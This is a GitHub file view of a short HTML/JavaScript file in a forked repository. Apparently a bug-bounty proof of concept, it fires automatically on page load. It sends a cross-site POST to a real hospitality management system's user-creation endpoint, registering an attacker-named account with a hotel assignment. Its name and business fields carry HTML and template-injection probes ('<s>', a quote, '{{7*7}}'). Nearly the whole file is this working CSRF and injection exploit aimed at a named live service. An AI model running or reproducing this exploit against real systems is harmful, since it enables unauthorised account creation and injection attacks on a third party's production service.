forked from gujjuboy10x00/gujjuboy10x00.github.io
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path111.html
16 lines (15 loc) · 2.93 KB
/
111.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function makeRequest(){
var url = "https://cc-euat.sabrehospitality.com/HMS/User/UserCreate";
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
//alert(this.responseText)
}
};
var payload = "save-continue=SaveUpdateSubmit&AuditMode=False&UniqueID=00000000-0000-0000-0000-000000000000&SelectedUserType=User&LoginInfo.IsSettingPassword=False&LoginInfo.IsPasswordAutoGenerated=True&LoginInfo.IsPasswordEditableManually=False&LoginInfo.Username=hkr0x0c&LoginInfo.UserCreateEmailTemporaryPassword=true&LoginInfo.UserCreateEmailTemporaryPassword=false&LoginInfo.IsActiveFlag=true&LoginInfo.IsActiveFlag=false&ExpirationDate=&ExpirationDate.CalendarId=0&ExpirationDate_Date=&NoExpirationDate=true&NoExpirationDate=false&Contact.NamePrefix=&Contact.IsFirstNameRequired=True&Contact.FirstName=%3Cs%3Ehkr'%7B%7B7*7%7D%7D&Contact.MiddleInitial=&Contact.IsLastNameRequired=True&Contact.LastName=%3Cs%3Ehkr'%7B%7B7*7%7D%7D&Contact.IsBusinessNameRequired=True&Contact.BusinessName=%3Cs%3Ehkr'%7B%7B7*7%7D%7D&Contact.IsBusinessUnitRequired=False&Contact.BusinessUnit=&Contact.BusinessId=&Contact.IsAddress1Required=False&Contact.Address1=&Contact.Address2=&Contact.Address3=&Contact.IsCityRequired=False&Contact.City=&Contact.PostalCode=&Contact.IsCountryRequired=False&Contact.Country=&Contact.IsStateRequired=false&Contact.IsPhoneRequired=False&Contact.Phone1=&Contact.Phone2=&Contact.Fax=&Contact.IsEmailRequired=True&Contact.Email=hkr0x0c%40gmail.com&Contact.Url=https%3A%2F%2Fgoogle.com&PreferredLanguage=0&RolesWithAccessToAllChains=&IsNotEditable=false&RoleAssignment.ContainerId=RoleAssignment&RoleAssignment.UnSelectedListHeader=&RoleAssignment.SelectedListHeader=&RoleAssignment.PostSelectedList=&RoleAssignment.OnChangeFunction=onRoleAssignmentChange&RoleAssignment.OriginalPostSelectedValues=&RoleAssignmentReadOnly.ContainerId=RoleAssignmentReadOnly&RoleAssignmentReadOnly.UnSelectedListHeader=&RoleAssignmentReadOnly.SelectedListHeader=&RoleAssignmentReadOnly.PostSelectedList=&RoleAssignmentReadOnly.OriginalPostSelectedValues=&UserGroupAssignmentItems%5B0%5D.ChainUniqueId=1ed609ea-33ca-4552-8cd0-5563738d7eab&UserGroupAssignmentItems%5B0%5D.SelectedUserGroup=00000000-0000-0000-0000-000000000000&UserGroupAssignmentItems%5B0%5D.SelectedValidationUserGroup=00000000-0000-0000-0000-000000000000&ChainAssignment.ChainAssignedUniqueIds=&ChainAssignment.ChainUniqueIdsToAssign=&ChainAssignment.ChainUniqueIdsToRemove=&BrandAssignment.BrandAssignedUniqueIds=&BrandAssignment.BrandUniqueIdsToAssign=&BrandAssignment.BrandUniqueIdsToRemove=&HotelAssignment.NumberOfAssignedHotels=1&HotelAssignment.HotelUniqueIdsToAssign=78b1919e-f648-4fc8-ad20-4995cc010d72&HotelAssignment.HotelUniqueIdsToRemove=&X-Requested-With=XMLHttpRequest";
xhttp.open("POST", url, true);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
console.log(payload)
xhttp.send(payload);
}
makeRequest();